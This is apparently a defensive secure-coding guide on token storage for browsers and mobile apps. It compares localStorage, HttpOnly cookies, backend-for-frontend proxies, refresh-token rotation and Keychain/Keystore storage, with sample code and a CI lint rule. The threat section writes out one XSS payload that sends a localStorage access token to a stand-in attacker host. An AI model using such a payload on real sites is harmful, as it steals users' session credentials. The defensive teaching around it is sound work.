Token Storage Patterns for Web and Mobile
Where you keep an access or refresh token decides which single vulnerability class can steal it. A token in localStorage falls to any cross-site scripting flaw; a token in a cookie invites cross-site request forgery; a token in the wrong mobile store leaks to any process that can read the app sandbox. There is no universally safe location — only trade-offs you select deliberately against your client type and threat model. This guide is part of Secure Authentication & Session Architecture and works through each option: HttpOnly Secure cookies, localStorage, and in-memory storage for browsers; the backend-for-frontend (BFF) token-handler pattern; refresh token rotation with reuse detection; and Keychain/Keystore storage on mobile. It builds directly on the identifier-rotation discipline in session fixation prevention, and on the token issuance covered in OAuth 2.0 & OpenID Connect implementation.
Threat Anatomy
Token theft is an exfiltration problem, and the store you pick determines which exfiltration primitive an attacker needs. The two dominant primitives pull in opposite directions.
Attacker perspective — the XSS path. If tokens live anywhere JavaScript can read them — localStorage, sessionStorage, or a non-HttpOnly cookie — then a single injected script wins. A payload as small as fetch('https://evil.tld/x?t='+localStorage.getItem('access_token')) ships the token off-origin, and because localStorage persists across tabs and reloads, even a transient XSS flaw yields a durable credential. This is the classic argument against localStorage.
Attacker perspective — the CSRF path. Move the token into an HttpOnly cookie and JavaScript can no longer read it — but now the browser attaches it automatically to every request to the origin, including forged cross-site requests. Without SameSite and an anti-CSRF token, an attacker’s page can trigger state-changing calls that ride the victim’s cookie. You have traded an exfiltration risk for a request-forgery risk.
MITRE ATT&CK coverage. Application access tokens harvested from browser storage map to T1528 (Steal Application Access Token); where the credential is a session cookie carried by the browser, theft aligns with T1539 (Steal Web Session Cookie). Both frequently follow a client-side injection foothold.
The synthesis. The strongest browser pattern removes the token from JavaScript entirely: an HttpOnly cookie that carries only an opaque session handle, or a BFF that holds the real tokens server-side. Either way, an XSS foothold can still act as the user while the page is open, but it cannot walk away with a portable, long-lived token — a materially smaller blast radius. On mobile, the equivalent move is the hardware-backed secure enclave.
For the head-to-head decision specifically between the two most-debated browser options, see HttpOnly cookies vs localStorage for JWTs.
Storage Option Reference
| Store | Readable by JS? | Primary risk | Best for |
|---|---|---|---|
localStorage / sessionStorage |
Yes | XSS exfiltration (persistent) | Non-sensitive UI state only |
Non-HttpOnly cookie |
Yes | XSS exfiltration + CSRF | Avoid for tokens |
HttpOnly Secure cookie |
No | CSRF (mitigated by SameSite + token) |
Session handle / refresh token |
| In-memory (JS closure) | Yes, same tab only | Lost on reload; XSS within tab | Short-lived access token |
| BFF token handler | No (server-held) | Server compromise; needs CSRF control | SPAs needing strong XSS isolation |
| iOS Keychain / Android Keystore | N/A | Rooted/jailbroken device, backup leakage | Mobile refresh tokens |
Prerequisites & Scope
- Token types separated. You distinguish short-lived access tokens (minutes) from long-lived refresh tokens (days), and treat their storage independently.
- HTTPS and a single registered origin. Cookies will be
Secureand__Host-scoped; the SPA and its API/BFF share a known same-site relationship. - An XSS mitigation baseline. A Content Security Policy and output encoding are already in progress — token storage reduces XSS impact, it does not replace XSS mitigation.
- A refresh endpoint you control. Rotation and reuse detection require server-side tracking of refresh token families.
- Mobile secure-storage APIs available. iOS Keychain Services and Android’s
EncryptedSharedPreferences/ Keystore are usable on the target OS versions.
Mitigation Architecture
The organising principle is minimise what JavaScript can reach. The vulnerable design hands the raw token to browser JavaScript, where any injected script inherits it. The hardened design keeps the token off the JS heap entirely — either as an HttpOnly cookie handle or, more strongly, behind a backend-for-frontend that the browser reaches only through a same-site cookie.
Vulnerable vs. Hardened: Side-by-Side
| Concern | localStorage token | HttpOnly cookie / BFF |
|---|---|---|
| XSS reads the token | Yes — one flaw exfiltrates it | No — token not in JS |
| CSRF exposure | No (not auto-sent) | Yes — needs SameSite + token |
| Token portability if stolen | High — works off-device | Low — bound to cookie/session |
| Refresh token exposure | Catastrophic | Held server-side / HttpOnly |
| Correct mitigation | Move off JS heap | Add anti-CSRF controls |
Step-by-Step Implementation
Step 1 — Choose the Storage Model (ASVS V3.5, V8.3.4)
Decide per client, not once for the whole system. For a browser SPA, prefer a BFF that holds tokens server-side; if a BFF is not feasible, keep a short-lived access token in a JavaScript closure and the refresh token in an HttpOnly cookie. For a first-party classic web app, an HttpOnly session cookie is the natural fit. For native mobile, use the platform secure enclave. localStorage is reserved for non-sensitive UI state only.
Step 2 — Implement the HttpOnly Cookie / BFF Boundary (ASVS V3.4, SOC 2 CC6.1)
Terminate the token at the server and hand the browser only an HttpOnly cookie. The BFF exchanges the authorization code, stores the tokens, and proxies API calls.
import express from 'express';
import cookieParser from 'cookie-parser';
const app = express();
app.use(cookieParser());
// After the OAuth code exchange, tokens are stored server-side keyed by session.
app.get('/auth/callback', async (req, res) => {
const tokens = await exchangeCodeForTokens(req.query.code as string);
const sessionId = await sessionStore.create({
accessToken: tokens.access_token, // never sent to the browser
refreshToken: tokens.refresh_token, // never sent to the browser
});
res.cookie('__Host-bff', sessionId, {
httpOnly: true, secure: true, sameSite: 'lax', path: '/',
maxAge: 1000 * 60 * 60 * 8,
});
res.redirect('/app');
});
// The SPA calls the BFF; the BFF attaches the real access token upstream.
app.get('/api/*', async (req, res) => {
const session = await sessionStore.get(req.cookies['__Host-bff']);
if (!session) return res.status(401).end();
const upstream = await fetch(`https://api.internal${req.path}`, {
headers: { authorization: `Bearer ${session.accessToken}` },
});
res.status(upstream.status).send(await upstream.text());
});
Step 3 — Rotate Refresh Tokens with Reuse Detection (ASVS V3.3, NIST SP 800-63B)
Issue a new refresh token on every refresh and record a per-family lineage. If a refresh token that has already been consumed is presented again, treat it as theft and revoke the whole family.
async function refresh(presentedToken: string) {
const record = await refreshStore.findByToken(presentedToken);
if (!record) throw new Error('unknown_refresh_token');
if (record.consumedAt) {
// Reuse of an already-rotated token → the family is compromised.
await refreshStore.revokeFamily(record.familyId);
throw new Error('refresh_reuse_detected: family revoked');
}
await refreshStore.markConsumed(record.id);
const next = await refreshStore.issue({
familyId: record.familyId, // same lineage, new token
userId: record.userId,
});
return { accessToken: mintAccessToken(record.userId), refreshToken: next.token };
}
Step 4 — Store Tokens in the Mobile Secure Enclave (ASVS V8.3, NIST SP 800-63B)
On mobile, never write tokens to NSUserDefaults, SharedPreferences, or plain files. Use the hardware-backed enclave.
// React Native / Expo: Keychain (iOS) + Keystore-backed store (Android)
import * as SecureStore from 'expo-secure-store';
export async function saveRefreshToken(token: string): Promise<void> {
await SecureStore.setItemAsync('refresh_token', token, {
keychainAccessible: SecureStore.WHEN_UNLOCKED_THIS_DEVICE_ONLY, // not in iCloud backups
requireAuthentication: false,
});
}
export async function loadRefreshToken(): Promise<string | null> {
return SecureStore.getItemAsync('refresh_token');
}
WHEN_UNLOCKED_THIS_DEVICE_ONLY keeps the token off encrypted backups and out of device-to-device migration, limiting the blast radius to a single unlocked device.
Edge Cases & Bypass Patterns
Cookie XSS Is Not Zero Risk
HttpOnly stops a script from reading the cookie, but a script can still issue authenticated requests through the same cookie while the page is open. Token storage shrinks the blast radius; it does not remove the need to fix the XSS itself.
Refresh Token in a Readable Store
Teams sometimes move the access token to an HttpOnly cookie but leave the long-lived refresh token in localStorage “for convenience”. This is the worst of both worlds — the most valuable, longest-lived credential sits in the most exposed store. The refresh token must be the most protected artefact, never the least.
SameSite Is Not a Complete CSRF Defense
SameSite=Lax blocks many cross-site sends but not same-site sub-resource attacks or certain top-level navigations, and SameSite=None (required for cross-site SPAs) reopens the gap. Pair cookie storage with an explicit anti-CSRF token — see CSRF defense.
Mobile Backup and Clipboard Leakage
Tokens written without ThisDeviceOnly can ride an encrypted iCloud/Google backup to another device. Tokens copied to the clipboard for “debugging” leak to every app with clipboard access. Keep tokens in the enclave and never route them through general-purpose storage.
Automated Testing & CI Validation
Test: No Token Reaches the Browser Under the BFF
import { describe, it, expect } from 'vitest';
import request from 'supertest';
import { app } from '../app';
describe('BFF token isolation', () => {
it('sets only an HttpOnly session cookie, never a bearer token', async () => {
const res = await request(app).get('/auth/callback?code=valid');
const cookie = (res.headers['set-cookie'] as string[])[0];
expect(cookie).toMatch(/HttpOnly/i);
expect(cookie).toMatch(/Secure/i);
expect(res.text).not.toMatch(/access_token|refresh_token/); // no token in the body
});
});
CI/CD Gate: Ban Token Writes to localStorage
# .github/workflows/token-storage-gate.yml
name: Token Storage Gate
on: [push, pull_request]
jobs:
static:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Semgrep — token in web storage
uses: semgrep/semgrep-action@v1
with:
config: |
rules:
- id: token-in-localstorage
patterns:
- pattern-either:
- pattern: localStorage.setItem("...token...", ...)
- pattern: sessionStorage.setItem("...token...", ...)
message: "Auth token written to web storage — use an HttpOnly cookie or BFF"
severity: ERROR
languages: [javascript, typescript]
Compliance Mapping
| Framework | Control | Satisfied By |
|---|---|---|
| OWASP ASVS v4.0 | V3.4.1–V3.4.3 | HttpOnly, Secure, SameSite on session/token cookies |
| OWASP ASVS v4.0 | V3.5.3 | Stateless tokens validated and not exposed to untrusted script |
| OWASP ASVS v4.0 | V8.3.4 | Sensitive credentials stored in platform secure storage on the client |
| SOC 2 | CC6.1 | Logical access controls over stored authentication tokens |
| NIST SP 800-63B | §7.1 | Session/refresh secrets protected in transit and at rest, bound to the client |
Common Pitfalls Checklist
Frequently Asked Questions
Is localStorage ever an acceptable place to store JWTs?
Rarely, and never for long-lived or refresh tokens. Everything in localStorage is readable by any JavaScript on the page, so one cross-site scripting flaw exfiltrates the token, and because the store persists across reloads and tabs, even a transient injection yields a durable credential. If an access token must live in the browser, hold a short-lived one in a JavaScript closure so it dies on reload, and keep the refresh token in an HttpOnly cookie or behind a backend-for-frontend. The detailed trade-off matrix is in HttpOnly cookies vs localStorage for JWTs.
What is the backend-for-frontend (BFF) token-handler pattern?
A BFF is a server component the single-page app talks to over a same-site HttpOnly cookie. It performs the OAuth token exchange, stores the access and refresh tokens server-side, and proxies API calls, attaching the bearer token on the server. The browser only ever holds an opaque session handle, so cross-site scripting cannot read or exfiltrate a token — the highest-value credential never crosses into JavaScript. The cost is an extra server hop and the need to add CSRF protection to the cookie-authenticated proxy.
How do refresh token rotation and reuse detection work together?
Rotation issues a brand-new refresh token on every refresh and invalidates the previous one, so any given refresh token is single-use. Reuse detection watches for an already-consumed refresh token being presented again — which can only happen if a copy was stolen and replayed — and responds by revoking the entire token family, forcing reauthentication. Rotation shrinks each token’s validity window; reuse detection turns a theft into an immediate, self-healing lockout of both the attacker and the legitimate client.
Where should mobile apps store tokens?
In the platform secure enclave: the iOS Keychain and Android’s Keystore-backed EncryptedSharedPreferences. These stores are hardware-backed, isolated per app, and persist across restarts without exposing tokens to other apps or to plaintext files. Choose a “this device only” accessibility class so tokens do not ride encrypted backups to another device. Never use NSUserDefaults, SharedPreferences, or unencrypted files, and never place a token on the clipboard.
Related
- OAuth 2.0 & OpenID Connect Implementation — how the tokens you are storing are issued and validated
- Session Fixation Prevention — rotating the session credential that a cookie-based store carries
- HttpOnly Cookies vs localStorage for JWT Storage — the detailed decision guide with a threat-model matrix
- Cross-Site Scripting (XSS) Mitigation — the injection class that decides whether browser token storage is safe
- Secure Authentication & Session Architecture — the parent guide for the full authentication and session control set